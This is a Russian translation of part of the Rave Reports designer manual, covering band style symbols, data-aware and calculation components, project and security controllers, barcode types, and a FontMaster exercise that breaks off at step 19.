Символы и буквы, используемые в редакторе Band Style и в компоненте Band в области Page Layout, разработаны для предоставления информации о каждом состоянии. Основная разница между этими двумя представлениями в том, что редактор Band style показывает компоненты Band в псевдо последовательном порядке, следуя определениям каждого Band. Регион же показывает в порядке, в котором они были брошены на него. Порядок операций, в некоторых случаях, управляется этим порядком. Заголовки (заглавные буквы BGR) печатаются первыми, затем DataBand, затем подвалы (маленькие буквы bgr) для каждого уровня. Тем не менее, если есть больше одного заголовка определенного на конкретном уровне, каждый заголовок компоненты Band печатается в порядке, в котором они размещены в регионе. Так, что если это, технически возможно поместите все заголовки вверху, все компоненты DataBands в середине и все подвалы внизу региона для всех уровней master-detail. Или каждый уровень должен быть «сгрупирован», со своими заголовками, нижними колонтитулами и компонентами DataBand совместно для каждого уровня. Rave позволяет размещать регионы таким образом, что бы был наибольший смысл для порядка разработки. Только помните о порядке выполнения, например все Band одного уровня управляются их порядком внутри региона.
Есть несколько символов разработанных для показа связей Parent-Child / Master-Detail связей различных Band. Символ треугольника (стрелки вверх/вниз) показывают, что компонент Band управляется Master Band с тем же цветом (уровня) и может быть найден в направлении стрелки. Символ ромба представляет Master или управляющий Band. Эти символы кодированы цветом и указывают направление связи Master-Detail. Помните что, может быть связь Master-Detail-Detail, где обе подчиненные таблицы управляются той же самой главной или одна подчиненная управляется другой подчиненной.
Полоса заголовка каждого Band содержит информацию об этом Band. С левой стороны Band есть имя, показывающее регион, на котором он расположен - "RegionName:BandName". Правая сторона Band используется для указания стиля Band с помощью символов. Порядок этих символов на главном компоненте такой "MASTER 1PC". Порядок на контролируемом Band такой "BGRDrgb1PC". Если буквы погашены (серые) то это означает, что данный параметр не активен (off). Буква подсвечена жирным, когда данный параметр активен (ON). Следующая таблица показывает значение различных символов. Примечание переводчика: таблица в книге отсутствует, придется разбираться методом научного втыка.
Компонент DataText

Компонент DataText «чувствительный к данным (data-aware)» . Это означает, что он может быть использован для отображения полей данных базы. Например, можно напечатать информацию о клиенте внутри DataBand. Компонент DataText не ограничивается печатью только данных из поля базы. Через редактор Data Text (доступен через свойство DataField), могут быть отпечатаны, или как переменные отчета (Report Variables), или как параметры проекта (Project Parameters), или как поля базы (DataFields). Смотрите тему редактор DataText. Свойства LookupDataView, LookupDisplay и LookupField определяют определение, которое будет выведено вместо свойств DataView:DataField.
Редактор DataText
Есть два метода доступные для ввода в свойстве DataField. Первый это выбор отдельного поля с помощью перетаскивания. Это хорошо для обычных отчетов, где требуется только одно поле для каждого элемента DataText. Но, есть много других потребностей, где различные поля должны быть объединены. Два типовых примера комбинации: город, штат и почтовый индекс или имя и фамилия. В коде это будет выражено так:
City + '_' + State + '__' + Zip
FirstName + "_" + LastName
ПРИМЕЧАНИЕ:
символы подчеркиваня здесь представляют пробелы, это только для примера.
Свойство DataField имеет редактор DataText, которые помогает строить сложные выражения составных полей. Для выполнения нажмите на кнопку эллипса и откройте редактор DataText. Редактор дает возможность для объединения полей, параметров или переменных совместно для построения сложных текстовых полей, просто перетаскивая их различных списков и выбора нужных элементов.
Имеется много комбинация в этом редакторе, они будут немного рассмотрены здесь, но попробуйте сами различные комбинации в практике и это должно помочь в освоении редактора.
Заметим, что диалог разделен на четыре группы: поля базы (Data Fields), переменные отчета (Report Variables), параметры проекта (Project Parameters), PIV переменные (Post Initialize Variables) и Data Text. Data Text это окно результата. Посмотрите это окно, вставляя различные переменные. Две кнопки с правой стороны окна это «+» и «&». Плюс добавляет два значения без пробелов, а амперсанд объединяет их с одним пробелом. Первым шагом, это решить, что использовать плюс или амперсанд, затем выбрать текст в одной из трех групп, выше окна Data Text.
Для примера, для добавления поля OrderNo к CustNo, нажмите на кнопку «+», перейдите в группу DataField, разверните список DataField, и выберите OrderNo. Затем нажмите на кнопку «Insert Field» и увидите, что это добавилось в окно DataText. Результат в окне DataText должен быть «CustNo + OrderNumber». Можно добавить еще несколько полей из списка DataField. Заметим элемент «Selected» в группе представления DataView. Если здесь больше одного представления DataView активно, то выберите другое представление DataView, и снова добавьте поле из другого представления.
Но ничто не заставляет думать об объединении только полей DataFields. Переменные отчета «Report Variables» и параметры проекта «Project Parameters» тоже могут быть объединены. Перейдите в группу "Report Variables", откройте список переменных и обратите внимание, какие доступны.
Другой доступный элемент это параметры проекта. Это должны быть параметры «UserName», «ReportTitle» или «UserOption», инициализированные приложением. Для создания списка параметров проекта «Project Parameters», выберите узел Project в дереве проекта (самый верхний элемент). В панели свойств должно быть свойство «Parameters». Нажмите на кнопку эллипса, буден вызван типичный текстовый редактор строк, где Вы можете ввести различные параметры, которые передаются в Rave из приложения, подобно «UserName».
ПРЕДУПРЕЖДЕНИЕ:
Помните использовать «+» или «&» между каждым элементом, которое Вы объединяете в окне Data Text. Вы можете печатать в окне Data Text, так вы можете корректировать ошибки, выделив, удалив или заменив ошибочные значения.
Компонент DataMemo
Компонент DataMemo «чувствительный к данным (data-aware)»

. Это означает, что он может быть использован для отображения поля Memo из представления DataView, почти в любом месте страницы. Основное различие между компонентами DataMemo и DataText в том, что компонент DataMemo предназначен для печати более одной строки. Например, это можно использовать для печати примечаний о счете клиенту внизу каждой страницы счета.
Одно из использования компонента DataMemo это создание писем. Простейший путь для выполнения этого, установить свойства DataView и DataField управлять содержимым поля Memo. Для загрузки редактора писем нажмите на кнопку эллипса на свойстве MailMergeItems. Это позволит изменить элементы установленные в Memo.
ПРИМЕЧАНИЕ:
Параметр «Case sensitive» выключен. В случае если это важно убедитесь в состоянии данного параметра.
Для использования редактора автоматического создания писем «Mail Merge», нажмите на кнопку «Add». Теперь напечатайте в окне «Search Token» который должен быть заменен в Memo. После как элемент введен, набейте строку замены в окне «Replacement» или нажмите кнопку «Edit» и это запустит редактор DataText, который поможет в выборе различных представлений и полей.
Компонент CalcText
Компонент

CalcText «чувствительный к данным (data-aware)»

. Основное различие между компонентами DataText и CalcText это то, что компонент CalcText специально разработан для выполнения различного рода вычислений и вывода результата данных расчетов. Свойство CalcType определяет тип вычисления и включает Average (среднее), Count (количество), Maximum (максимум), Minimum (минимум) и Sum (сумма). Например, это можно использовать для печати итогов счета вверху каждой страницы счета.
Свойство CountBlanks определяет должны ли включаться пустые значения в расчет среднего и количества в методах расчета. Если RunningTotal установлено в True, тогда результаты вычисления не сбрасываются в ноль после печати.


Компоненты проекта

Обзор
Панель проекта предоставляет базовую функциональность для проекта. Эти функции являются строительными блоками для всех отчетов. Что делает эти функции важными, так это, что эти функции являются основой для построений блок компонентов.

Основные функции выполняются первой кнопкой (менеджер проекта) и второй секцией панели (New Report, New Global Page, New DataView и New Page). Эти функции используются для добавления структуры к вашему отчету. Каждая будет рассмотрена в следующих главах.
Компонент Project Manager
Компонент Project Manager
является компонентом от которого создаются все остальные компоненты. Все размещается ниже менеджера проекта (как RaveProject) в дереве проекта. Этот компонент создается, когда создается любой новый Rave. Может быть, только один менеджер проектов на каждый Rave файл, в этом отличие от остальных компонентов.
Для ясности, Project Manager, RaveProject и New Project, все ссылаются на ту же вещь. Они ссылаются на главный файл проекта, который содержит все остальное.
Подобно любому компоненту в Rave, менеджер проекта имеет свойства. Для их просмотра, выберите RaveProject в дереве проекта, и затем смотрите панель свойств.
Для быстрого создания нового проекта, просто нажмите на кнопку New Project в панели проекта. Это создаст новый файл, как новый менеджер проекта.
Посмотрит не свойства менеджера проекта.
Свойство AdminPassword позволяет администратору сервера Rave ограничить доступ до данных, из которых создавался отчет. Это важная возможность в Rave.
Свойство Parameters позволяет передать в отчет элементы, рассчитанные другими приложениями (такими как Дельфи Delphi), для использования другими компонентами в отчете. При нажатии не кнопку эллипса, вызывается редактор DataText, позволяющий установить параметры.
Параметр PIVars для содержимого, которое не типично, и нуждается в динамическом изменении в отчете. Это позволяет изменять содержимое, путем которое не типично для табличных расчетов или манипуляций.
SecurityControl – Примечание переводчика: далее текст отсутствует.
Компонент Report
Компонент Report содержит страницы отчета. Может быть множество отчетов в одном проекте, и каждый отчет может иметь множество страниц в этом отчете. Каждый отчет имеет свойства. Для просмотра свойств, выберите отчет и смотрите в панели свойств.
Компонент Page
Компонент

Page это базовый визуальный компонент, в котором размещаются компоненты графики, печати, стандартные и штрих кодов. Это также место, где проводится размещение и разработка отчета.
Компонент Page также имеет свойства, которые можно просмотреть, если выбрать пустую область где-либо на странице.
Компонент Global Page
Компонент

Global Pages размещен в узле Global Page Catalog дерева проектов. Данные определения глобальных страниц используются как базовые определения. Эти страницы также могут быть зеркально отражены. Глобальные страниц могут содержать такие вещи, как заголовки писем, формы, водяные знаки и элементы страниц, которые могут служить фундаментом для других отчетов в проекте. Например, глобальная страница может быть отражена, туда, где Вы пожелает напечатать то же самое содержимое страницы (связать со счетом), но Вы желаете поместить различные заголовки в подвал страницы, например «Оригинал», «Копия» и «Отправлено».
Глобальные страницы также имеют свойства. Выберите глобальную страницу из дерева проекта и смотрите свойства в панели свойств.
Компоненты

Data Objects
Компоненты Data Objects это компоненты подключения данных, используемые для подключения данных, или компоненты, используемые для управления видимостью отчетов из сервера отчетов.
Нажатие на кнопку New Data Object на панели проекта, создает каждое подключение данных. После нажатия на кнопку, появится диалог Data Connection. В данной точке, можно сделать один их пяти выборов. Доступен выбор следующих компонент: DataLookupSecurity Controller, Database Connection, Direct Data View, Simple Security Controller и SQL Data View.
Подробности каждого компонента подключения данных будет рассмотрено в следующих главах. Как только Data Object выбран, компонент Data Object помещается в каталог словаря данных (Data View Dictionary) дерева проекта. Выберите компонент и посмотрите в панели свойств его свойства.
Компонент Database Connection
Компонент Database Connection

это компонент типа Data Object, используемый для подключения данных. Данный компонент может быть добавлен в проект, нажатием на кнопку New Data Object в панели проекта, затем выбором Database Connection в диалоге подключения данных.
Как только компонент Database Connection выбран в диалоге подключения, появляется диалог Database Connection Type. Здесь задается тип подключения, который используется для присоединения к данным. На данном рисунке имеется только один вариант выбора, но в зависимости от типа подключения может быть несколько различных вариантов выбора. После выбора правильного подключения данных, нажмите Finish.
Компонент Database Connection, подобно другим компонентам, имеет свойства. Выберите компонент в дереве проекта и смотрите их в панели свойств.
Компоненты безопасности
Используя компонент Security, можно управлять безопасностью отдельных отчетов. Компонент TRaveBaseSecurity не может использовать самостоятельно, так как он является абстрактным компонентом. Но Вы можете создать наследника от TRaveBaseSecurity для реализации своей собственной схемы безопасности или использовать один их готовых наследников TraveBaseSecurity, включенных в Rave. Rave в данный момент включает два наследника от TRaveBaseSecurity: SimpleSecurity и LookupSecurity.
Для использования компонент безопасности, создайте один и установите свойство отчета SecurityControl на данный компонент.
Компоненты безопасности работают, только если обслуживаются через сервер отчетов. Когда неавторизированный пользователь пытается получить доступ до защищенного отчета (Secured Report), аутентификация HTTP используется для аутентификации пользователя.
Компонент Simple Security Controller
Компонент

TRaveSimpleSecurity реализует наиболее базовую форму безопасности, с помощью простого списка пар username и password в свойстве UserList. Свойство UserList содержит только одну username и password на строку в формате:
Username=password
Свойство CaseMatters логического (Boolean) типа, которое управляет чувствительность пароля (password) к регистру букв. Имя пользователя (Username) не чувствительно к регистру.
Компонент Data Lookup Security Controller
Компонент

TRaveLookupSecurity реализует проверку имени пользователя и пароля по базе данных. DataView указывает на представление, которое используется для просмотра пароля и имени пользователя.
Свойство UserField это поле, которое используется для проверки имени.
Свойство PasswordField это поле, которое содержит пароль для проверки.
Компонент SQL Data View
Компонент

SQL Data View используется для создания самостоятельных запросов к SQL базе данных. A База данных указывается в свойстве Database. Параметры могут быть указаны в свойстве Params.
Свойство SQL используется для ввода SQL выражения. Во время разработки, вызывается редактор визуального построения запроса.


Компоненты штрих кодов

Основы компонент штрих кодов

компоненты штрих кодов используются для создания различных штрих кодов в отчете. Штрих коды нужны для пользователей, которые точно знают, для чего они нужны, поскольку требует определенных знаний о штрих кодах, и как их использовать.
Для размещения штрих кода, нажмите на кнопку нужного компонента штрих кода и поместите на страницу.
Для определения значений штрих, перейдите в панель свойств и введите значение в свойство Text. Для штрих кодов содержащих контрольный символ, не вводите его, поскольку контрольный символ, рассчитывается автоматически.
Краткое описание компонент штрих кодов
Компонент PostNetBarCode

Штрих код PostNetBarCode использует POSTNET (POSTal Numeric Encoding Technique) и особенно используется почтовыми службами. Это кодирует информацию о почтовом индексе на письме для быстрой надежной сортировки штрих код сортировщиками. PostNetBarCode может представлять пятизначный почтовый индекс (32 полоски), и девятизначный почтовый индекс (52 полоски), или одиннацати-значный печатный код доставки (62 полоски). Узнайте в почтовом отделении, какой штрих код используется. Текущие стандарты требуют пятизначный индекс, плюс четыре, плюс две цифры, которые часто получаются из первых двух цифр адреса улицы. Рекомендуется, чтобы пользователь получил в почтовом отделении копию текущего руководства.
Пример PostNetBarCode: 85210304119
Компонент 2of5Bar Code

2of5Bar код (interleaved 2 of 5) это только цифровой код; в панели свойств он помечен как 2of5BarCode. Количество цифр может быть любое, какое необходимо для кодирования данных. Это код высокой плотности, до 18 цифр на дюйм, если используется разрешение 7.5 mil X. "Interleaved" исходит из того факта, что цифры кодируются полосками и следующая цифра отделяется проблем. Есть пять полосок, две из которых широкие и пять пробелов, два из которых тоже широкие.
Пример 2of5BarCode: 2632534
Компонент Code39BarCode

Code39BarCode это алфавитно-цифровой штрих код, который может кодировать десятичные числа, заглавные буквы, и следующие специальные символы «_», «.», «*», «$», «/», « », «+». Код конструируется из девяти элементов, пять полосок и четыре пробела. Из этих девяти элементов, две полоски и один пробел шире остальных. Широкие элементы представляют бит (1), а узкие элементы бит (0).
Пример Code39: CODE 39
Компонент Code128Bar Code

Code128Bar Code это расширенный алфавитно-цифровой штрих код. Количество символов может быть столько, сколько необходимо для кодирования данных. Он спроектирован, что бы кодировать все 128 ASCII символа, и использует меньше места для из 6 символов или более чем любая из 1-D символогии. Каждый символ данных сделан из 11 черных или белых модулей. Стоповый символ сделан из 13 модулей. Три полоски и три пробела, формируются из этих 11 модулей. Полоски и пробелы меняются между 1 и 4 модулями.
Пример Code 128: Code 128
Компонент UPCBarCode

UPCBarCode универсальный код продукта (Universal Product Code) имеет фиксированное число из 12-цифр и может кодировать только числа. UPC был разработан для кодирования продуктов. Данный формат позволяет сканировать в любой ориентации. Контрольный символ рассчитывается, так что нет необходимости вводить его в свойстве Text.
Пример UPCBarCode: 712345678935
Компонент EANBarCode

EANBarCode (European Article Numbering System) идентичен UPC, за исключением количества цифр. EAN имеет длину в 13 символов - 10 цифровых символов, и 2 "flag" символа флага, обычно код страны, и контрольный символ. Данный штрих код обычно используется за пределами Штатов. Контрольный символ рассчитывается, так что нет необходимости вводить его в свойстве Text.
Пример EANBarCode: 3847348484584


Расширенные компоненты

Компонент FontMaster

Каждый текстовый компонент в отчете имеет свойство Font. Конкретный шрифт может быть назначен компоненту. В большинстве случаев это может быть полезно и необходимо при установке шрифта более чем одному объекту. Это делается выбором более одного компонента за раз. Но помнить, какие шрифты имеют тот же тип, размер и стиль, не очень простая задача, особенно если более одного отчета. Это та область, где FontMaster пляшет. Поскольку позволяет пользователю определить глобальный шрифт для различных компонент, FontMaster также позволяет пользователю определить стандартные шрифты для различных частей отчета, для заголовков, содержимого и подвалов.
FontMaster это невидимый компонент (поэтому у него зеленый цвет кнопки). Для использования, просто нажмите на кнопку и затем щелкните мышью, где ни будь на странице в дизайнере страницы. Заметим, поскольку это невидимый компонент, поэтому нет его визуального представления на странице, и подобно другим невидимым компонентам, он доступен через дерево проекта.
Как замечено ранее, главное назначение FontMaster это установка шрифтов. Он имеет очень мало свойств. Как большинство других компонент, он имеет свойства DevLocked, Locked, Name и Tag. Он также содержит наиболее важное свойство Font.
Для установки свойств FontMaster, используйте свойство Font на панели свойств, нажмите на кнопку эллипса для вызова диалога Font и выберите шрифт и размер. Нажмите OK, когда закончите. Как только компонент FontMaster настроен, связать его с текстом весьма просто. В отчете выберите компонент Text/Memo, затем используя кнопки стрелок вверх/вниз на свойстве FontMirror в панели свойств для выбора связи FontMaster. Любые компоненты, которые имеют установленное свойство FontMirror на FontMaster, будут отрабатывать изменения в сделанные в свойстве Font компоненты FontMaster. Это позволяет пользователю изменять шрифты различных текстовых компонент за раз и в то же самое время хранить однообразность по всему отчету (когда требуется).
Важно заметить, что свойство FontMirror, свойство Font перекрывается свойством Font компонента FontMaster. Это означает, что если текстовый объект имеет свойство Font установленное на Font A, назначение ему FontMaster со шрифтом Font B, текстовый компонент автоматически назначает Font B и его свойство Font игнорируется. Другой побочный эффект использования FontMaster это то, что панель шрифтов запрещается при использовании свойства FontMirror.
Может быть, более одного FontMaster для страницы, хорошей практикой является давать значимые имена для FontMaster. Дерево проектов, показанное ранее, имело три компоненты FontMaster на странице. Две из них начинались с FM, для FontMaster, и далее имя и размер шрифта, которое они представляют. Это одно из соглашений, которое может использоваться для того, чтобы сделать имя описательным для пользователя.
Компонент PageNumInit

PageNumInit это невидимый компонент, который позволяет сбросить нумерацию страниц в отчете. Использование PageNumInit аналогично другим невидимым компонентам. Он используется, когда требуется расширенное форматирование.
Примером использования PageNumInit является отчет CustomerStatement Report при сверке счета. Отчет о состоянии, который клиент получает каждый месяц, может иметь переменное количество страниц. Месячный отчет, первая страница может содержать итоговые данные, вторая может данные по кредиту и депозитам, а третья содержать возвраты и дебиты. Первые две могут быть одной страницей, но если активность счета высокая, то секция дебит может занимать несколько страниц. Если пользователь производит отчет то, возможно, он захочет, что бы каждая секция нумеровалась индивидуально, итоги и депозиты маркировались как «1 из 1». А третья часть, может иметь три страницы. Поскольку это отдельная секция отчета, то она может быть маркирована так «1 из 3», «2 из 3» и «3 из 3». При использовании такого типа нумерации страниц PageNumInit может оказаться полезным.
Есть несколько шагов, которые должны быть выполнены, что бы использовать данный компонент эффективно. Сначала определите страницы как обычно. Добавьте компонент DataText из панели отчета на страницу, поместите туда, где должен появиться номер страницы.
После того, как Вы поместили компонент в панели свойств компонента DataText, нажмите на кнопку эллипса в свойстве DataField.
Это откроет редактор DataText. Нажмите на кнопке Report Variables и выберите Relative Page и нажмите кнопку Insert Report Var для использования переменной в отчете. В области DataText, должно появится «Report.RelativePage». После этого введите текст « + ' of ' +».
Из выпадающего списка ReportVariables выберите TotalPages (выберите и нажмите кнопку Insert Report Var). Это добавит оставшийся текст «Report.TotalPages» к области редактирования Data Text. По окончанию нажмите OK.
Панель свойств теперь показывает текст, введенный в редакторе Data Text.
Расширьте компонент DataText, что бы появился текст из редактора.
Для инициализации страницы требуемым номером, выберите PageNumInit из дерева проекта. На панели свойств, введите требуемый номер и свойство InitValue.
Для каждого определения, созданного в проекте, компонент PageNumInit позволяет каждое определение нумероваться независимо друг от друга.
Компонент DataCycle
Компонент
DataCycle это невидимый компонент для баз данных, который позволяет управлять извлечением информации из просмотра DataView. Обычно, компонент DataCycle используется для прохода по подчиненной таблице, при изменении в главной.
Например, создавая отчет для множества клиентов, и каждый клиент имеет много заказов связанных с ним. Для этого отчета мы должны иметь заказы каждого клиента на своей странице, со своим собственным списком заказов. Дизайн таблицы должен выглядеть так, где есть главная таблица со списком, по каждому уникальному клиенту, и каждый клиент имеет свою собственную таблицу заказов, где отображаются его заказы.
Что бы отчет был создан, требуется, что бы каждый клиент имел уникальный номер клиента (customer ID), отпечатанный на одной странице, со списком своих заказов на этой же странице. Поэтому отчет должен проходить по таблице, содержащей все сделанные им заказы, прежде чем начнется печать следующего клиента и ассоциированных с ним заказов.
Главная таблица содержит список ID клиентов, допустим, она называется MasterDataView. В панели свойств, это имя главной таблицы должно быть выбрано в свойстве называемом MasterDataView. После выбора, мы должны сообщить Rave, какой ключ будет использован для связи таблиц. Этот ключ называется DetailKey. DetailKey, в нашем примере будет CustomerID. Затем, таблица, которая будет просматриваться в цикле, это таблица, содержащая заказы, это будет таблица DataView. MasterDataView (главная таблица) и DataView (детальная таблица) соединяются по Detail Key (общий уникальный ключ в каждой таблице).
DataCycle может также быть ограничен, ил отсортирован при создании отчета. Например, допустим, Вы хотите создать отчет для заказчиков, проживающих в Аризоне. Для ограничения отчета только заказчиками из Аризоны, MasterKey должен быть установлен.
Установка MasterKey делается нажатием на кнопку эллипса (…) в свойстве в панели свойств. Будет вызван редактор Data Text. В области Data View, выберите радио кнопку «Selected» и затем выберите нужную MasterDataView таблицу, которая будет главной в нашем примере, и помощью выпадающего меню. Как только закончите, затем выберите поле, которое будет использоваться как фильтр в главной Master Table или MasterDataView таблице. После этого нажмите на кнопку Insert Field, которая покажет выпадающее меню Data Field. Это поместит должный текст в область Data Text, внизу редактора. Теперь в Data Text напечатайте «='AZ'» для ограничения данного поля только клиентами из Аризоны. Нажмите OK, когда будете готовы, это исключит прочих клиентов, не из Аризоны.
Компонент DataMirrorSection
Компонент
DataMirrorSection это секция, которая отражается (зеркально) в другие секции, базируясь на содержимом из данной секции. Зеркальное отражение секция позволяет данному компоненту быть очень гибким. Помните, что секции могут содержать любые другие компоненты, включая графику, регионы, текст и другое.
Пример использует компонент «DataMirrorSection» включенный в RaveDemo файл проекта. Данный пример показывает, как иметь один отчет, производящий различные форматы конвертов при посылке по международным или американским адресам. Шаблон для международных адресов имеет строку страны и центруется на конверте, тогда как американский формат не имеет строки страны и смещен вправо от центра и ниже на конверте.
Данный пример показывает несколько приемов, как использовать зеркальное отражение секции. На странице 2 есть три секции. Секция 3 имеет общих строки адреса в обоих шаблонах. Секция 1 и 2 содержат зеркальное отражение в секцию три. Международная секция имеет дополнительную строку страны, добавленную к своему шаблону. Заметим, что «remarks» было добавлено к странице 2, и оно не является частью, какой либо секции. "US Template" и "International Template" только текстовые примечания, предназначенные для помощи в показе каждой секции.
Для понимания как сделан главный шаблон, перейдите на страницу 1, и выберите "DataMirrorSection". Заметим что, свойства "DataView" и "DataField" были установлены к полю, которое используется для выбора, какой шаблон отражать. Для проверки этой логики, перейдите в свойство "DataMirrors" и нажмите кнопку эллипса для открытия редактора Data Mirror. Выберите каждый элемент "DataMirror" и обратите внимание на установки в нижней части диалога. Данный пример имеет два шаблона "templates", но чувствуйте себя свободно и добавляйте больше для создания сложных требований отчета.
ПРИМЕЧАНИЕ:
Обычно одна из настроек определяется как «Default». Если «Default» равно NOT и поле не соотносится ни с одной из других установок, тогда формат используется, как если бы был нормальным содержимым компонента DataMirrorSection.
Компонент CalcOp

Компонент CalcOp это невидимый компонент, который позволяет выполнить операции (определенные свойством Operator) на двух значениях из различных источников (Src#CalcVar, Src#DataField или Src#Value). Результат затем сохраняется в параметре проекта, подобном CalcTotal (через свойства DestParam и DisplayFormat).
Например, есть два компонента DataText, которые должны быть рассчитаны совместно. Например, A+B=C, где A и B представляют два значения, двух компонент DataText, и C представляет результат. Для этого и может использоваться компонент CalcOp.
Выберите два компонента DataText в выше указанном примере, используйте свойства Src1X и Src2X, где X или CalcVar (переменная расчета), DataField, или DataValue. Эти три типа источников значений, которые могут использоваться в расчете в компоненте CalcOp. Заметим, что Src (источник) может быть только одним из трех доступных типов, и может быть только два источника, Src1 или Src2.
Три типа источников имеют много различных ассоциированных с ними. Для источника CalcVar, выпадающее меню показывает список всех переменных доступных на данной странице для использования. Эти расчетные переменные, только переменные для хранения значений. Эти значения могут быть из другого компонента CalcOp или из другого расчетного компонента. Для источника DataField для получения доступных значений сначала определите, из каких DataView/ DataField они приходят. Другими словами DataField это поле в таблице, которая DataView. Для выбора поля, сначала должен быть выбран DataView. Для источника Value, напечатайте числовое значение, это все что требуется для заполнения данного свойства. Again, напоминаем, что только одно из этих трех источников может быть назначено источнику.
После выбора источников, выберите операцию, которая будет использоваться между ними. Для выбора операции, используйте свойство Operator, с помощью выпадающего меню и сделайте нужный выбор. В примере, A+B=C, оператор должен быть «coAdd».
Бывает много случаев, когда необходимая функция должна быть выполнена на значении, перед обработкой второго значения. Здесь есть свойство SrcYFunction, где Y это 1 или 2 для Src1 или Src2. С помощью SrcYFunction, значение может быть конвертировано (например, из часов в минуты), или быть выполнена тригонометрическая функция над ним (например, взять синус от значения), или другие функции выполнены над этим значением (например, взять корень квадратный из значения, или получить абсолютное значение).
После выбора двух значений, самое время подумать о результате. В примере, A+B=C, C это значение результата. Результат может быть или записан в переменную проекта или просто сохраниться как внутреннее значение. Для записи в параметр, используйте свойство DestParam для выбора должного параметра, в который записать результат. Если результат сохраняется как внутреннее значение, ничего не делать, иначе выберите компонент. Усилено рекомендуется переименовать компонент, так что бы он отражал суть, легче будет использовать в будущем.
После установки значений и установки места для результата, возможно, потребуется форматировать результат или даже выполнить функцию, над результатом. Используйте свойства DisplayType и DisplayFormat для форматирования результата в подходящий формат. Имеются два значения для DisplayType - DateTimeFormat и NumericFormat. DisplayFormat имеет много параметров, которые должны быть указаны в поле редактирования. Что бы найти эти значения смотрите «Приложение A. Форматирование», в конце данного руководства. Подобно двум значениям, A и B, в примере, A+B=C, над результатом C также можно выполнить функцию, перед записью в параметр или сохранить значение. Для выбора функции, используйте выпадающее меню свойства ResultFunction.

Компоненты CalcOp могут подключаться в цепочки для получения более сложных выражений, используя свойства Src#CalcVar, которые могут быть назначены другим CalcOp или CalcTotal компонентам. Например, чтобы создать сложное выражение, показанное на рисунке справа, надо его разделять на шаги с двумя простыми значениями.
Для разделения сложного выражения на четыре простых, надо их создать и сохранить как компоненты CalcOp. Для Z, Y, X и W должно быть четыре промежуточных компоненты CalcOp. Но, как вы видите из диаграммы выражения, Z и Y должны быть выполнены до X, поскольку он зависит от выполнения двух предыдущих операций. И, наконец, W должен быть выполнен после X, для получения правильного конечного результата.
Так как важно выполнять вычисления в должном порядке, важно убедиться в каком порядке они будет в дереве проекта. При выполнении отчета, отчет будет выполнять вычисления в порядке их следования в дереве проекта. Для компонент CalcOp или других расчетных компонент. В примере выше, если Z, Y, X, и W находятся в дерева проекта, Z должен быть первым в дереве и W должен быть последним в дереве. Это означает, что они должны быть в правильном порядке. Это означает, что Z будет обрабатываться первым, затем Y и так далее. Так же важно отметить, что если Z зависит от других компонент (подобно другим компонентам CalcOp или DataText), эти компоненты должны быть выше в дереве проекта. Убедитесь что компоненты в правильном порядке. Для перемещения компонент вверх/вниз в дереве проекта, используйте панель выравнивания для изменения порядка печати компонент.
Компонент CalcController
Компонент
CalcController это невидимый компонент, который действует как диспетчер, вместе с DataBand, для компонент CalcText и CalcTotal через их свойства Controller. Когда компонент диспетчера печатается, он сигнализирует всем вычисляемым компонентам, что управляет выполнением ими функций суммирования. Это позволяет выполнять итоги для групп, детальных групп или целых страниц, в зависимости от позиции компонента CalcController. Другой характеристикой компонента CalcController является его способность инициализировать компоненты CalcText или CalcTotal специфическим значением (через свойства InitCalcVar, InitDataField и InitValue). Компонент CalcController только инициализирует значения, если они использованы в свойстве Initializer свойств CalcText или CalcTotal.
Компонент CalcTotal
Компонент
CalcTotal это невидимая версия компонента CalcText. Когда этот компонент печатается, его значения обычно записываются в параметры проекта (определенные в свойстве DestParam) и форматируются согласно свойству DisplayFormat. Это может быть полезным при выполнении итоговых вычислений, которое будет использовано другими вычислениями прежде, чем напечатано. Оставьте DestParam пустым, если значение CalcTotal будет использовано только компонентами, такими как CalcOp.
Упражнение 25: использование компонента Font Master
1. создайте новую страницу в отчете. Выберите New Report Page в окне проекта;
2. перейдите в дерево проекта и выберите страницу;
3. в панели свойств, введите «FontMaster» в свойстве Name, пока выбрана страница;
4. перейдите в панель стандартных компонент. Найдите компонент FontMaster и нажмите на кнопку. Затем нажмите на страницу;
5. посмотрите в панели дерева проекта и обратите внимание, что появился новый компонент в объекте Page названный FontMaster1. Но, когда Вы посмотрите на страницу, то здесь не будет визуальных компонент. FontMaster это невидимый компонент;
6. убедитесь, что компонент FontMaster выделен, нажав на него в дереве проекта. Компонент будет подсвечен, показывая, что он выделен.;
7. пока компонент FontMaster выбран, посмотрите в панели свойств. В свойстве Font, нажмите на кнопку эллипса (кнопка с тремя точками);
8. после нажатия на кнопку эллипса, появится диалог Font. Сделайте свой выбор, используя кнопки перемещения и поля для отметок. Для первого компонента FontMaster, установите Arial Font, Bold, размер 14 и Underline в Effects;
9. посмотрите в панели свойств, пока компонент еще выбран. Свойство Font отразило ваш выбор сделанный в диалоге Font;
10. теперь, пока свойство Font еще выбрано, переместитесь на свойство Name и установите "FMArial14BldUndrln" в поле ввода имени;
11. следующий взгляд на дерево проекта показывает изменение имени. Полезно и нужно, переименовывать компоненты в дереве проекта, для того, что бы отличать один компонент от другого. Поэтому мы продемонстрировали переименование компонент FontMaster и Page;
12. теперь, три раза повторите шаги с 4 по 11, используя различные имена и установки. FMArial16ItlcUndrln: Arial, 16, Italic и Underlined. FMTimesNwRmn12: Times New Roman, 12. FMCourier12: Courier, 12. для понимания переименуйте компоненты, согласно соглашениям об именовании. В данных примерах мы использовали эти соглашения, для именования FontMaster компонент;
13. Далее, бросить пять компонент Text на страницу, а также один компонент Memo;
14. Мы будем писать «письмо», используя брошенные на страницу компоненты;
15. используем один компонент Text, для поля даты и другие четыре для адреса. Компонент Memo мы будем использовать для текста письма. Поэтому заполните ваши компоненты соответственно. Более подробно о том, как заполнять компоненты вашим текстом смотрите описание свойства «Description Listing» в «Приложение C. Описание свойств», или смотрите главу «9. Стандартные компоненты». Стремитесь использовать панель выравнивания для корректного выравнивания компонент «письма». Также, возможно потребуется изменить размеры компонент для полного отображения текста;
16. затем, выберите компонент Text, который будет содержать дату. Пока еще выбрано измените свойство FontMirror компонента FMCourier12 с помощью выпадающего меню. Обратите внимание, что шрифт изменился на предустановленный в FMCourier12;
17. затем выберите четыре компоненты Text, которые предназначены для адреса. Панель свойств покажет, что это множественный выбор. В свойстве FontMirror, выберите FMTimesNwRmn12;
18. выберите компонент Memo, который будет содержать текст «письма». Пока выбрано, выберите FMArial16ItlcUndrln в выпадающем меню FontMirror;
19. это заканчивает зеркальное отражение шрифтов на страницу. Последняя вещь объясняет, что нужно сделать, когда Вы пожелаете изменить шрифты;
